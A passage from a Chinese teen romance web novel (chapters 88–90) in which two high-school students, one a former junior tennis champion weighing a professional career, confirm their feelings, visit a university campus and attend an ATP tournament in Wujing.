事实上，他和姜织宁第一次见面是十岁那年，在一家热闹的餐厅里，但他并不打算告诉她，因为姜织宁在十岁那年过得很不好。 “前年夏天吗？你在学校哪见过我？”姜织宁神情有些惊讶，“那会儿你还没转来江中吧？” 柯译衍：“操场上，你参加新生军训汇演那晚。” 她回忆片刻，哦了声：“想起来了，难怪那天有很多校外客人过来参观，我好像记得，当时学校还拉了欢迎国家青少年网球队的横幅，原来你也在场啊。” 柯译衍嗯了声。 “这么说的话，你早就认识我了？”姜织宁笑眯眯讲。 柯译衍叹气：“知道俞杨是你忠实粉丝吧？你家粉丝，有事没事就喜欢在我面前夸你，我想不认识江中校花都难。” “哦，你真的对我有想法。”姜织宁耐人寻味喊了声，“柯译衍。” “嗯？”柯译衍瞥她一眼。 “既然我就是白月光，”她微微蹙眉，故作震惊，质问道，“我和你刚做同桌的那段时间，原来你一直在和我演戏？” 柯译衍：“” 姜织宁追问：“那些冷淡行为都是装的？” “”憋了憋，他没好气讲，“装什么装，你都有青梅竹马了，还指望我对你多热情么？” “” 好有道理，无法反驳。 唉，那他这暗恋确实挺不是滋味。 姜织宁理亏几秒，好声好气说：“跨年夜那晚，我不是和你解释清楚了嘛。你都对我故作冷淡了，我肯定不知道你喜欢我啊，我以前是真的以为你对我有不满意见。” 柯译衍淡声说：“微信备注，没有不想给你看，只是在考虑时机问题，你之前说过，想一路清净到毕业，之后学业重，你身体不太好，我不想让你分心。” 姜织宁叹气点了点头，懂他意思。 彼此都在为对方好，都在为对方的前程着想。 到了喝中药的时间，柯译衍起身去厨房加热好中药，端着杯子回来，递给姜织宁。 姜织宁屏住呼吸，忍住反胃感，一口气喝完中药，拿着杯子站起来。 柯译衍仰头看她：“要走？” 她蹙眉嗯了声：“头有点痛，回去睡午觉。” 他不赞同地说：“刚喝完药就睡觉，医生说的话你都忘了？” “哦，我给忘了，那回去看会儿书吧。” 柯译衍起身走到她面前，下巴指了下钢琴凳，说：“头痛怎么看书，无效用功，坐下去，给你按摩一下。” “啊？”姜织宁很不可思议，一脸诧异，“你还会按摩啊？柯医生什么时候学的手艺？” 柯译衍失笑：“你说呢？” 她想了想，慢悠悠笑答：“我猜，是在我肺炎住院期间学的，难怪赵阿姨给我按摩的时候你老盯着，就是不走，原来某人在偷师。” 说着，姜织宁听话坐下，换成面朝钢琴的坐姿。 柯译衍站在她背后，指腹轻揉她的太阳穴。 刚开始姜织宁有点不习惯，跟跳芭蕾似的，背部绷成一条直线，刻意和柯译衍保持一定距离，这幅紧绷姿势弄得两人都不舒服。 柯译衍很快察觉到，好笑提醒：“身体放松行么。” 姜织宁笑起来，也不暗暗较劲了，上半身突然向后倾倒，直接靠进柯译衍怀里。 柯译衍怔了秒，手上动作瞬间滞住。 “行～” 她亲密靠在他怀里，仰头看着他，笑意盈盈。 言语并不是唯一的最佳表达方式，有时候，行动才是。 显然，姜织宁和柯译衍一样，也是位行动派。 面对他的心意，这一刻，她用直率的行动，坦坦荡荡回答—— 我也喜欢你。 第89章 看了要负责啊 “晚上上课么？” 柯译衍轻缓按摩姜织宁额头, 低声问。 “街舞课吗？” “嗯。” 姜织宁舒服闭着眼，轻叹气：“感觉开学后和按了快进键一样，一晃眼就四月了。好久没去音暴上课, 今天休息，明天下午得去一趟, 干嘛？你要送我过去吗？” 柯译衍唇角微弯：“有这个想法。” “会不会太麻烦柯医生了？” 他悠悠道：“我乐意。” 姜织宁笑着哦了声。 安静片刻，柯译衍开口：“有件事, 想听听你的意见。” “什么啊？” “关于网球。” 姜织宁立刻睁开眼，神情认真。 柯译衍：“现在合作的西班牙教练Javier之后另有计划, 教不了多久” “为什么？”她蹙眉打断他, “我听俞杨说这位外教挺厉害, 不能继续合作下去吗？” 他耐心解释：“起初和Javier谈的就是临时授课，之后确实想和他建立长期合作, 不过Javier接到了他以前带过的职业球员的紧急请求，他考虑过后, 还是决定飞回西班牙救急。 ” 柯译衍能和Javier合作，纯属偶然。 教练是寒假期间, 柯译衍在雾京网球场打球时偶遇的，柯译衍一眼认出Javier。 就在去年, Javier因为身体原因, 刚结束教练生涯不久, 决定回归家庭生活一段时间, 短时间内并没有执教计划。 飞来雾京纯属度假游玩，顺便看看闻名世界的中医, 再探望几位老朋友, 春节期间，他偶尔也会和老朋友约着去网球场打球放松。 毕竟是教练, 在球场休息区喝咖啡的时候，Javier总会饶有兴致观察着球场上的人，尤其是那些青少年球员。 那段时间柯译衍来球场来得很勤快，Javier总是看见他在，一帮球员中，柯译衍的球技最显眼，Javier一度以为他是职业球员。 就这么观察了几天，某天，柯译衍准备离开球场时，Javier突然叫住他，善意提了几点球技方面的问题。 柯译衍听完建议，礼貌感谢，当即卸下球包，抽出球拍，请求Javier指点一二。 机会总是留给勇敢、主动且有准备的人。 Javier神情挺惊讶，没想到柯译衍认识他，毕竟教练是站在球员身后的人，无法像球员那样星光四射。 互相聊了几句，Javier终于明白为什么柯译衍有点眼熟，原来少年是前年大满贯青少年冠军得主。 Javier笑着起身，陪柯译衍走进球场。 一来二去，两人就这么熟了起来。 中医的治疗让Javier身体感觉很不错，因此延长了留在中国的时间，柯译衍借此机会，向Javier提出临时授课的合作方式。 Javier知道柯译衍当下处于跌倒之后，重寻热爱的重要时期，他很愿意帮助少年。 一段时间合作下来，Javier很喜欢柯译衍，少年有天分，潜力巨大，脑子聪明，一点就通，同时练习刻苦勤奋。 其实前不久，两人还讨论了更长久的合作模式，原本Javier短期内并没有执教计划，但架不住他实在喜欢柯译衍。 很可惜，计划赶不上变化。 Javier因为个人原因，不得不放弃双方都很期待的后续合作，他对柯译衍感到很抱歉，主动给柯译衍推荐了合适的教练团队 柯译衍：“Javier给我推荐了新教练，对方履历不错，不出意外，我最近会飞去香港见一面。” “也会正式考虑，转职业的事。” 如果一切顺利，这学期结束后，他就会重新开始。 重新开始意味着什么？ 意味着彻底结束自我放逐，拿起球拍，再次站到真正的赛场上。 现在想想，他居然会因为关系连陌生人都不如的生父，意气放弃网球，何其可笑。 仅有一次的人生，他决不妥协。 今后能走到什么高度？ 他不知道。 但他会为了自己，带上破釜成舟的决心，就此翻篇，重新出发。 姜织宁安静认真听完柯译衍的话，由衷地为他感到高兴，她细心问：“这么重要的事，你有没有和柯阿姨商量过？” “还没。”柯译衍摇头。 “那柯叔叔知道吗？” “不知道。” “我不会是第一个知道的人吧？” “嗯。” 姜织宁顿时睁大眼，惊讶仰头看他一眼，说：“突然觉得有点荣幸。” 柯译衍低笑一声，停下按摩，伸手捞过放在钢琴上的酸糖，拿出一颗喂到她嘴里。 入嘴便是浓浓的酸味，姜织宁忍不住皱眉眯眼，吸气说：“你是不是想酸死我？” 柯译衍：“就是你买的，放这边没拿回去。” 她质问：“那我刚才喝完中药的时候，你怎么不拿给我？” 他笑笑，顺着她：“嗯，我的错。” 姜织宁随意按下琴键，回到话题：“转职业的事，你心里有答案么？” 柯译衍低嗯了声。 她毫不犹豫地说：“那就照着答案去做。” 柯译衍挑眉：“都不问？” “用不着问，和你这点默契还是有的。”她弯眉表示，“反正呢，不管你做什么选择，不管以后还打不打网球，我都会支持你，你的人生，当然是你来做主嘛。” 柯译衍笑看着她，心情前所未有得好。 姜织宁嚼着糖起身，笑眯眯说：“柯医生手法不错，被你越按越困，这回我真要回去睡觉了，晚饭记得叫我。” …… 隔天下午，柯译衍送姜织宁到音暴楼下，然后去见Javier。 天气预报显示晴天，结束两堂hiphop大课后，外面突然噼里啪啦，下起细细密密的梦幻太阳雨。 姜织宁没带伞，本打算坐地铁回家，这下坐不成了，正想着要不要叫车，突然间，柯译衍电话打过来。 “下课没？” 一听见他声音，姜织宁不由自主笑起来：“你也太准时了，刚下课，在等我吗？” 他低笑：“嗯，猜你没带伞。” 她往窗外看了两眼，轻叹气：“唉，被你说中了，真没带，谁知道会下雨呢，不过太阳雨还蛮美的，在发光。” “等着。” 说完，柯译衍挂掉电话。 姜织宁笑着背上包，准备走出舞房，起身时，旁边过来一个男生，搭讪问：“你没带伞啊？” 她扭头看男生一眼，是和她一起上舞蹈课，还故意站她旁边的大学生，这人上课期间不好好练舞，老是找她说话，真挺烦人的。 能看出他抱有什么目的，姜织宁冷淡点了下头，没开口。 男生积极跟上她：“那我的伞借你吧，下次还我就行。” “不用。”姜织宁按下电梯按钮。 “没事的，我就住附近，走过来很方便。” 她拒绝：“真不用。” 男生笑起来，坚持不懈地说：“那我送你吧，你怎么走？地铁？出租车？我送你上车好了。” “不需要，有人接我。” 电梯门打开，姜织宁快速走进电梯，男生紧跟上来。 电梯一路下行，男生继续和她套近乎。 “那加个微信行吗？下次一起约大师编舞课吧，我觉得你跳的特别好，能带带我嘛？唉，我就特别菜，上街舞课怪不好意思的，都给我搞社恐了。” 哦，撩妹怎么不见你社恐？ 姜织宁不想搭理他，从包里摸出蓝牙耳机，结果耳机没电了。 她把耳机放进包里，侧目瞥他一眼，嗓音没什么温度地说：“菜就去基础班，hiphop都没跳明白，就想上编舞？还有，大师班每节课三千块，意思是，让我花三千陪你上课划水吗？” 男生：“” 气氛死寂几秒，男生脸色很快恢复正常，又厚脸皮和姜织宁聊起别的。 话题绕来绕去，就是想要她微信，反正姜织宁是没看出来他哪里社恐。 电梯叮一声停在一楼，姜织宁快步走出去，柯译衍还没到，她抱臂悠闲站在屋檐下等待。 大厦门口就是江洲市知名的步行街，街道两旁种着一眼望不到尽头的茂盛樱花，是本市著名网红打卡地。 正是樱花盛开的季节，风雨之下，无数花瓣随风飞落到伞面上。 樱花漫天肆意飞舞，下雨天不再令人讨厌，甚至显得格外浪漫。 雨下得突然，雨势急促，不少人跑来屋檐下躲雨。 男生像牛皮糖一样站在姜织宁身边，不断和她说话，就是不走，一副非要亲眼确认是不是真有人来接她的离谱态度。 很无语，姜织宁仰头欣赏着樱花雨，懒得搭理他。 五分钟后，柯译衍撑着雨伞，出现在视线里。 太阳悬挂天边，双彩虹划出一道梦幻弧线，晶莹雨滴在金色落日光线照耀下闪闪发光，似钻石般璀璨。 姜织宁唇角微翘，注视着马路对面单手撑伞，慢悠悠穿越明媚太阳雨，只为她而来冷酷黑衣少年，坏心情瞬间一扫而光。 等柯译衍走到面前，她忽然抬手指了下搭讪男生，淡定告状说—— “你怎么才来啊？” “我被人骚扰了。” “快点帮我报警。” “他骚扰未成年。” 话音落下，空气凝滞，周围瞬间陷入死一般的寂静，无数道吃瓜视线“嗖嗖嗖！”射过来。 柯译衍瞬间沉下脸，锋利眼风一下子钉住男生，脸色冷得骇人。 男生：“” 姜织宁面无表情看着男生，一字一句警告道：“再和我多说一个字试试。” 柯译衍漆黑眼眸风雨欲来，浑身低气压地盯着男生，男生被他的凌厉攻击性吓得当场噤声。 眼看情况不利，男生立刻脚底抹油，低头冲进雨幕里，急得伞都忘了打开。 “那人怎么你了？”柯译衍冷冷盯着男生背影。 姜织宁摇摇头：“没事，一起上街舞课的学员，老和我搭讪，挺烦的。” 他回头看她，脸色缓下来：“真没事？” 她嗯了声：“真没事，刚才故意吓他。” 人被吓走，姜织宁脚步轻快跳下台阶，钻进伞下。 柯译衍撑了把透明伞，一抬头，就能瞧见樱花纷纷扬扬落到伞面上，宛如春天的画，特别浪漫。 姜织宁仰头看了几秒，拿手机拍了两张樱花照，然后镜头一点点向左偏移，把柯译衍偷偷框进镜头里。 柯译衍似有察觉，唇角微弯，垂眸望向她：“偷拍我？” 俯视她的角度，却并没有居高临下的冷感，因为眼底含着笑意。 姜织宁眉眼弯弯，坦诚道：“是啊，收藏。” 因为喜欢，很喜欢，特别喜欢他。 所以想要记录、收藏和他有关的一切。 姜织宁收起手机，问：“怎么突然过来了？“ 樱花随风飘进来，落到少女头发上，柯译衍抬手帮她拿掉，意有所指地说：“来给你撑伞，总不能只让你给我撑伞。” 姜织宁轻轻扬眉，秒懂他意思，默契哦了声。 两人撑伞走着，柯译衍问：“晚饭想回家吃，还是在外面吃？” 姜织宁：“都出来了，还是外面吃吧，就附近好了，吃完再过来一趟。” 柯译衍：“有事？” 姜织宁：“想看夜樱。” 话落，慢悠悠补了句：“和你一起。” 柯译衍会意笑看她一眼，又问：“听姜阿姨说，五一假期你要和她一起去雾京？” “对。”姜织宁点了点头，“姑姑五一要去雾京出差，她说，等我到高三就没什么时间旅游了，让我趁现在还有空闲，出去走走，姑姑的大学同学在京大教书，到时候会带我去京大看看。” 柯译衍：“想考京大？” 姜织宁垫起脚尖，小心避开水坑，笑道：“到时候看高考成绩吧，分数够的话，当然会去，谁不想去顶尖学府呢，干嘛，你想和我继续做校友吗？” “嗯，是有这个想法。”柯译衍悠悠回，随后问了句，“想去看职业网球赛么？” “什么时候啊？”姜织宁感兴趣说。 “五一假期，雾京有ATP巡回赛。” “这么巧，那可以哎，反正都去雾京了。” 柯译衍：“真想去？” 姜织宁点头嗯了声：“我没去现场看过职业比赛，现在买票来得及吗？都快五一了。” “票是小事。” “可以，我听你安排。” 姜织宁没打算透露柯译衍音乐博主的身份，结果和周静瑶分享白月光就是她的时候，说着说着，就无意识说漏嘴了。 “你说什么？！” “柯译衍就是K？！” 周静瑶瞪大双眼，一脸震惊。 掌心无奈撑住额头，姜织宁叹气点头。 周静瑶深深吸气，实在憋不住，大吼了声：“我去，respect！！！” 言语里充满了尊敬。 声太大，引得周围好几道视线看过来，姜织宁连忙提醒：“嘘，小点声！” 显然，比起柯译衍曾经是大满贯青少年冠军，周静瑶更加震惊柯译衍居然是音乐博主K！ 呃好魔幻啊！ 她剪辑视频的时候，用过好多次K的钢琴曲作为bgm！ 这时，柯译衍端着餐盘坐到姜织宁身边。 周静瑶看着他坐下，目光无比尊敬，疯狂献上彩虹屁：“衍神，可以啊！respect！respect！” 柯译衍目光不解看向姜织宁。 姜织宁叹了口气，低声解释：“就你那听歌账号被我说漏嘴了” 说完，立马补了句：“不过你放心，周导嘴巴很紧，绝对不会往外说的。” 还以为什么事，柯译衍不在意点了点头：“没事。” 周静瑶笑眯眯问：“衍神啊，我以后剪视频还能用你的音乐吗？不收版权费吧？” “随便用。” “respect！” 转眼，五一假期来临。 姜颖因公出差，工作繁忙，四月下旬便飞去雾京，柯译衍本打算30日晚上飞雾京，姜颖听说他也要过来，直接一个电话打给他，吩咐他陪姜织宁过来，不放心侄女独自出行。 电话挂掉，柯译衍利落改掉航班，顺便帮姜织宁的票买了。 5月1日，两人中午抵达雾京。 下飞机，柯译衍叫车去酒店，他和姜织宁的酒店房间并排挨着，入住信息登记好，先回房间休息。 隔天，姜颖带姜织宁去京大游玩，顺道探望在京大教书的老同学，这趟游玩她把柯译衍也喊上了。 姜颖开车到学校停车场，下车后，老同学热情上前抱住姜颖。 女人余光瞄见随后下车的柯译衍，愣了愣，纳闷问姜颖：“这男生是？” 姜颖笑着解释：“宁宝同学，柯绍之的外甥。” 女人仔细打量着柯译衍，忍不住惊叹：“柯绍之外甥居然这么帅啊？跟个明星似的！” 姜颖一脸得意，炫耀说：“帅吧，打网球的，16岁就拿过两个大满贯青少年冠军，特别厉害！” “哎呀，那确实很厉害了！” 春天的京大格外美丽，绿意盎然，姹紫嫣红，充满生机。 慢悠悠逛完大半个校园，队形逐渐变成两位长辈走前面，热烈互聊，姜织宁和柯译衍则跟在身后闲聊。 中途经过操场，姜织宁瞄见草地中央有几名舞者在跳街舞，有男有女，旁边观众围坐成半个圆圈，还有摄影师在跟拍。 现场音乐很耳熟，舞者们跳的舞她学过，姜织宁不由停下脚步，饶有兴致看了会儿表演。 拍好照片，正准备离开，突然有人喊她名字。 “姜织宁！” “宁王！” 姜织宁侧目停下脚步。 一位身穿粉色露腰短袖，黑色阔腿工装裤，脚踩马丁靴的粉色长发女生从观众堆里站起来，欢快跑向她。 彼此距离还有几米远的时候，姜织宁终于认出是谁，笑喊了声学姐。 女生高中就读于江洲中学，比姜织宁大一届，曾经担任过校街舞社社长。 女生一脸惊喜看着姜织宁，问：“怎么来京大了？过来旅游吗？” 姜织宁笑嗯了声：“来旅游，姑姑最近在这边出差，我再不抓紧时间出来玩，后面升到高三就没时间了。” “是啊，这学期结束，你就是高三生了，有没有想法考来京大呀？学姐代表京大街舞社欢迎你！我们京大街舞社可好玩了！” “我努力。”姜织宁眉眼弯弯，好奇说，“学姐，你们假期也要练舞吗？” “这不是学校马上要办草坪音乐节了嘛，我们抓紧时间，把留校成员拉出来练习。” 说话时，女生目光落到柯译衍身上，沉思两秒，惊讶问：“你是柯译衍吧？” 柯译衍点头。 “学姐认识他？”姜织宁有些意外。 女生笑眯眯哎哟一声，调侃道：“毕竟是咱们江中名气响当当的大校草，那确实很出名，我早就听好几位高中学妹提过他，学妹们还给我发过他的照片呢！” 姜织宁瞥了眼柯译衍，啧啧两声：“你真有名。” 柯译衍淡定回她一句：“你是不是忘了自己校花的身份？” 姜织宁：“校花怎么了？” 柯译衍：“名气也不低。” 姜织宁：“没你高。” 柯译衍：“你有粉丝。” 姜织宁立马说：“你有后援会。” 柯译衍：“” 女生意味深长观察着两人斗嘴，等两人消停后，笑眯眯看向姜织宁，表情八卦：“你们之间很熟嘛。” 姜织宁：“我和他一个班。” “不止是同学吧，我怎么听说，你俩还有一个很霸气的组合名呢，这都一起来京大参观了，嘻嘻，”女生是过来人，挤眉弄眼问道，“是不是已经约好了要考同个大学呀？” 姜织宁抿唇没说话，柯译衍弯唇瞥她一眼，慢悠悠接话：“是啊，学姐。” 女生被这一声学姐取悦到了，立马冲柯译衍比了个OK手势，秒懂说：“懂懂懂，般配般配！加油啊，绝对可以的，学姐特别看好你们！京大的江中校友特别多！” 这时，场上音乐换了首歌曲。 是高中时期，女生和姜织宁共同表演过的舞蹈《Monster》。 女生当即眼睛一亮，即兴邀请：“宁王，要不要一起跳？Monster咱两合作可默契了！” 啊？ 这么突然吗 姜织宁有点不太好意思，笑着摆手：“不了吧，太打扰了。” 女生不赞同：“怎么能叫打扰呢，这叫以舞会友呀！我和你说啊，跳你那位置的学长技巧还没你娴熟，正好让他学习学习，况且你还是我的学妹，我们京大街舞社可不死板，没那么多规矩。” 还是感觉不太好，犹豫间，姜织宁下意识看向柯译衍。 柯译衍下巴微抬，朝草坪指了下，鼓励说：“去，给你拍照。” 姜织宁：“不准拍。” 他挑了挑眉，逗她：“就拍。” 女生笑眯眯推波助澜：“拍拍拍，给咱们宁王使劲拍！长这么美，不拍浪费！” 说着，也不等姜织宁同意，直接拉上她的手，将她拖到表演区。 现场突然来位外貌格外亮眼的漂亮少女，所有街舞社成员默契看向姜织宁。 “谁啊？”有人好奇问。 女生亲密揽着姜织宁肩膀，自豪介绍：“她是老娘的高中学妹姜织宁！校花，漂亮吧！跳舞贼厉害！” 现场“wow！”声一片，此起彼伏地欢迎。 女生冲某男生挥挥手，人过来后，对他说：“Monster的舞担位，你不是老跳不明白吗，正好，宁王就是跳你的位置，待会儿你仔细看她动作，好好学习。” 男生舞龄不长，听女生这么说，连连点头，一脸感激看向姜织宁：“太好了，我终于有救了！” 姜织宁：“” 压腿拉筋，舒展肩背，姜织宁结束热身，站到舞队里。 街舞社成员对姜织宁挺好奇的，其中有个别人还抱着怀疑态度，毕竟Monster是支走位靠飞的大框架团舞，特别帅气，观赏性极佳，舞蹈难度非常高，其中的舞担位最难跳。 不过，众人观察了一会儿后，便心服口服，开始尖叫声不断。 帅气，干净利落，张弛有度，姜织宁的动作力度、身体核心、技巧律动确实很厉害，并且个人风格极强，一眼难忘。 跳舞期间，有人突然想起姜织宁小时候拍过广告，立刻争相告知，等她表演结束，街舞社一帮人全部热情跑到她身边。 柯译衍抱臂站在旁边，耐心等待，等姜织宁社交完回来，他笑看着她，慢悠悠问：“还说不说自己名气低了？” 姜织宁老实摇头：“不说了，不说了。” 晚饭在学校食堂里吃，吃完饭，姜颖和老同学打算去酒吧小酌一杯，成年人的放松时刻，俩高中生不方便打扰，就先回酒店休息。 汽车快开到酒店时，柯译衍忽然扭头说：“朋友明天上场比赛，现在打算过去见个面，一起么？” 姜织宁没意见，点头答应。 酒店距离网球中心远，路上又碰上节假日大堵车，抵达球场时，天空早已黑透。 这几天正处于ATP巡回赛赛期，网球中心灯火通明，明天即将上演两场半决赛，由四名球员争夺最后两个决赛名额。 此时，几位球员携各自团队，正在室外网球场训练。 柯译衍径直走向好友雷恩所在的球场。 他没直接去看台，先去球场和雷恩打个招呼，这哭包心急催了他一路，动不动就问他到哪了，这么还没来。 两人走进球场，姜织宁一边走一边张望，眼看球场两边都是外国人，好奇问柯译衍：“哪个是你朋友啊？” 柯译衍正要抬手指过去，骤然察觉，雷恩球打偏了！ 网球破空砸向姜织宁！ 球速极快，角度刁钻，晚上光线暗，根本来不及躲避，姜织宁连网球在哪都没看见，意识还没反应过来，瞬间被柯译衍拽到身边。 “嘭！”一声，网球落到地上，柯译衍抬手捂住腰，皱眉轻嘶了声。 “网球砸到你了？” 姜织宁心一紧，脸色骤变，立马低头看他腰。 “疼不疼啊？” “快让我看看！” 柯译衍捂着腰，缓慢深呼吸，还挺疼，但为了不让她担心，便装没事人安慰：“没事。” 他不知道的是，俞杨曾经和姜织宁科普过，被职业球员打球时误伤有多恐怖，所以姜织宁压根不相信没事。 “怎么可能没事啊！” “我看看有没有红！” 姜织宁心急得不行，想都没想，直接上手掀他卫衣。 通常来说，球员训练时会有不少球迷到场观看，为了蹲签名，蹲合影，尤其是人气球员，那围观球迷简直是里三层外三层，堵得现场水泄不通。 雷恩目前还算不上那批世界排名顶尖的球员，但他长相帅气，个人排名进步快，比赛时又爱掉眼泪，国内球迷特意给他取了个“哭包”的爱称，人气并不低，所以这会儿看台上坐着不少球迷，特意来看他训练。 柯译衍被姜织宁胆大举动弄得一愣，随即紧紧按住衣摆，下意识往后躲，不让她掀。 他脸色略不自然地说：“真没事，大庭广众，这么多人看着呢，你别动手动脚啊。” 姜织宁都快担心死了，哪管这么多，严肃质问：“怎么就没事了？石头砸到身上能没事吗？你放手，让我确认一眼就行。” “等会儿再看行吗？”柯译衍露出几分无奈神情，和她打商量。 她态度坚持：“我又不脱你衣服，有什么好紧张的？就要现在看，别逼我骂你啊！” 两人就这么推拉着，互相都不敢太用力。 这种时候，到底还是姜织宁更强势些，柯译衍被她逼地一路往后退，最后背靠上铁网，退无可退。 姜织宁倔强拽住柯译衍卫衣，面无表情盯着他，一副即将发脾气的边缘。 对峙五秒，柯译衍败下阵，无奈叹了口气，妥协松手，低声说：“看了要负责啊。” 第90章 她会永远记住那个心动盛夏 衣摆扯上去一小截, 裸露出少年结实有力的腰腹。 姜织宁这会儿没兴趣欣赏美色，低头仔细查看伤口两眼，抬眸瞪柯译衍, 无语说：“都青了好吗，还说没事, 你自己看看啊！” 柯译衍笑了笑，安抚她没事。 目前只是一片淡淡的乌青, 看上去好像没什么大碍，但姜织宁很清楚, 这种撞击伤随着时间推移, 会逐渐演变成恐怖深紫色, 得疼死人。 这时，旁边凑过来一个棕色卷毛脑袋。 卷毛扯着柯译衍衣摆, 用英语着急问：“没事吧？没事吧？快让我看看！” 雷恩已经在旁边罚站半天了。 发现柯译衍被球砸中后，他立刻紧张跑过来查看, 结果碰上柯译衍和姜织宁拉拉扯扯的一幕，不方便上前打扰, 他只能不知所措拿着球拍，在旁边罚站。 柯译衍垂眸瞥了眼, 无情拍开雷恩的咸猪手。 他不在意放下衣服, 顺势向姜织宁介绍：“雷恩, 也可以叫他外号哭包, 西班牙职业网球选手，以前和他在国外同个网球学院训练过。” 姜织宁平淡打了声招呼, 有礼貌, 但不多，态度明显不热情, 显然很在意雷恩把球打偏，误伤柯译衍的行为。 她知道对于运动员来说最宝贵的就是身体，多少运动员就是因为身体伤病，最后不得不遗憾退役。 见状，柯译衍无奈笑了下，自己倒是不太在意。 他侧目看向雷恩，正准备介绍姜织宁时，就见雷恩挤眉弄眼，摆出一副“我懂！我懂！”的搞笑表情包。 雷恩冲柯译衍连说好几声我知道，紧接着，疯狂对姜织宁说抱歉。 柯译衍愣了下，一脸无语，用英语质问：“是我被砸到，你冲她道什么歉？” 雷恩摆出一副“她地位你比高”的识相表情，老实巴交回答：“她看着很生气，她很在意你。” 这话听着舒服，柯译衍悠悠挑了下眉，勾唇看向姜织宁，再次安慰道：“我没事，别担心。” 姜织宁斜他一眼，才不信。 彼此就势寒暄了一会儿。 交谈期间，雷恩得知柯译衍合作了新教练，后面计划去美国训练，脸上神情从不可思议到充满激动，他用力抱住柯译衍，发自内心为他感到开心。 雷恩兴奋拍着他后背，嘴里反复说着：“bro！just do it！！！” 柯译衍笑起来，调侃对方：“不愧是Nike签约球员。” 雷恩还要继续训练，分别之际，他从球包里拿了盒膏药贴递给柯译衍，柯译衍接过，带姜织宁走向看台。 走到球场门口，意外迎面碰上俞杨和艾彤，两人也是抽空过来看雷恩训练。 艾彤笑眯眯挥手打招呼，姜织宁面露笑容，走到艾彤身边：“我看了你的比赛。” 艾彤惊讶：“真的？是哪场？” 两女生有说有笑走在前面，俞杨一边走，一边意味深长盯着柯译衍。 柯译衍受不了他的眼神骚扰，单手按亮手机屏幕，看了眼时间，同时嫌弃道：“有话就说。” 俞杨正想好好质问一番，余光忽然瞄见柯译衍的手机屏幕，他表情瞬间呆滞，说不出话。 卧槽？ 屏保里的是谁？ 好像是姜织宁！！！ 想都没想，他当场恶霸抢过手机，再度按亮。 确认了，真的是姜织宁！ 一张少女身穿正装校服，在前不久校园社团文化节舞蹈路演时的抓拍，明媚漂亮极了。 柯译衍居然用姜织宁的照片做手机屏保？ 好家伙，明目张胆啊他！ “干什么，自己没手机？” 柯译衍冷淡斜他一眼，拿回手机。 俞杨戏精捂住嘴，用一种“他超爱！”的夸张表情震惊瞪着他。 柯译衍被看得心里一阵恶寒，冷声骂了句：“是不是有病？” 俞杨恢复正常，啧了声，说：“刚才我全都看到了啊，什么意思你？太有心机了，你还色诱上了？” 两人在球场里拉拉扯扯的画面，俞杨也看到了，简直给他惊呆了，光天化日，大庭广众，想干什么啊！ 柯译衍：“？” 什么色诱，有病吧。 柯译衍面无表情：“你没看见我被网球砸？” “没看见是谁扯我衣服？” “眼瞎就尽快去医院治，免得耽误你打球。” 俞杨冷哼一声，阴阳怪气说：“你这屏保，就不怕被宁王看到吗？服了，你能不能克制一下自己啊！你这样搞得我很害怕好吗！” “怕什么怕？”柯译衍云淡风轻地说，“她又不是不知道。” “？” 俞杨一脸问号。 “我靠！” “你和宁王表白了？？？” “我怎么不知道？？？” 柯译衍慢悠悠走上台阶，笑而不语。 联想到刚才的震惊画面，俞杨突然福至心灵，紧跟着追问：“我去！你俩是不是发生了什么我不知道的事？！还是不是朋友了，赶紧给我从实招来啊！” 春末夏初的季节，白天气温怡人，一到晚上，就会温度骤降。 经过姜织宁身前，柯译衍停下脚步，垂眸看她：“冷吗？” 姜织宁摇头：“冷倒是不冷，有点凉吧。” 夜风拂面，姜织宁头发被风吹乱。 柯译衍抬起手，温柔理顺她不听话的头发，接着掀起外套帽子，罩住她脑袋，左右调整两下，叮嘱：“帽子戴起来，别吹着凉。” 她乖乖嗯了声，没阻拦，任由他妥帖服务。 俞杨和艾彤默契对视一眼，都懂了。 姜织宁摸了摸衣服口袋，没找到东西，蹙眉咦了声，仰头目视柯译衍，不确定问：“我发夹是不是在你那？” “嗯。”柯译衍从裤兜里摸出雪粉色漆皮发夹，递给她。 姜织宁接过来，夹住侧边长发，不忘提醒他：“你坐下后就把药膏贴上。” “知道。” “待会儿我检查。”她不容置疑地说。 柯译衍怔了下，无奈一笑：“行。” 艾彤抿唇看着双A组，吃瓜吃得很开心。 俞杨很震惊，简直想当场给姜织宁竖大拇指，心说，这么强势呢？ 牛的牛的！ 不愧是宁王！ 这边没空位，柯译衍越过几个座位，懒洋洋坐下。 俞杨紧挨着他坐下，迫不及待催问：“你俩刚才什么意思啊？是不是秀恩爱？赶紧说说呗我的哥！” 柯译衍从盒子里拿出药膏贴，撕开贴到腰上，淡定说：“还用说吗，不是都看到了。” 俞杨佩服点头：“看到了看到了！俞老师恭喜！俞老师祝福！但现在有个问题，宁王那个青梅竹马怎么办啊？咋说，难道宁王移情别恋了？你俩打算一起为爱私奔？” “好！精彩！一出好戏！” 他啪啪鼓起掌来。 “”柯译衍无语瞥他一眼，“想象力能别这么丰富吗，她和蔡从根本没那回事。” 俞杨愣了愣：“啊？什么意思，青梅竹马之间是假的？没感情啊？” “嗯。” “你问过宁王了？” “嗯。” “我去！”俞杨震惊脸，“在这演戏呢？咋这么离谱呢，亏我之前那么紧张你俩，原来都是假的这不是纯纯浪费我感情吗！！！” “挺好，你感情太多了，浪费点没事。” “滚啊你！” 无语数秒，俞杨又嬉皮笑脸问：“那你俩这事，还有其他人知道吗？该不会我是第一个吧？” 柯译衍嗤笑：“做梦呢。” 俞杨嘤了声，一脸悲愤，抬手猛捶他：“人不争气争什么？！难道我是最后一个知道的？？？狗东西是不是兄弟！” “知道就得了。”柯译衍侧身躲开狗爪，皱眉斥道，“少作妖。” …… 隔天。 在酒店吃过午饭，稍作休息，两人一起出门。 本想打车去比赛现场，下楼时，柯译衍接到姜颖电话，女人说现在开车过来，让他带姜织宁在酒店大堂等一会儿。 半个小时后，汽车准时抵达酒店正门，姜织宁拉开车门，瞄见姑姑端坐在副驾驶，正对镜补口红，司机是柯绍之。 姜织宁坐上车，目光疑惑看向柯译衍，柯译衍也有点意外。 柯绍之回头，笑着对两人说：“我们也去看网球赛。” 然后对柯译衍说：“你妈妈昨天也来雾京了。” 柯译衍嗯了声：“她昨晚和我说过。” “这会儿估计在去网球中心的路上。”柯绍之准备启动车子，侧目看向姜颖，问了句，“好了吗？” “催什么催！”姜颖不满斜他一眼，“也不知道是谁把我口红”弄花的。 女人猛然想起后排还坐着俩小朋友，连忙闭上嘴。 柯绍之意味深长瞥她一眼，无声笑了笑。 姜颖把口红丢进包里，故作从容轻咳一声，转移话题问：“你姐也来看球赛？我以为直接晚上一起吃饭呢。” 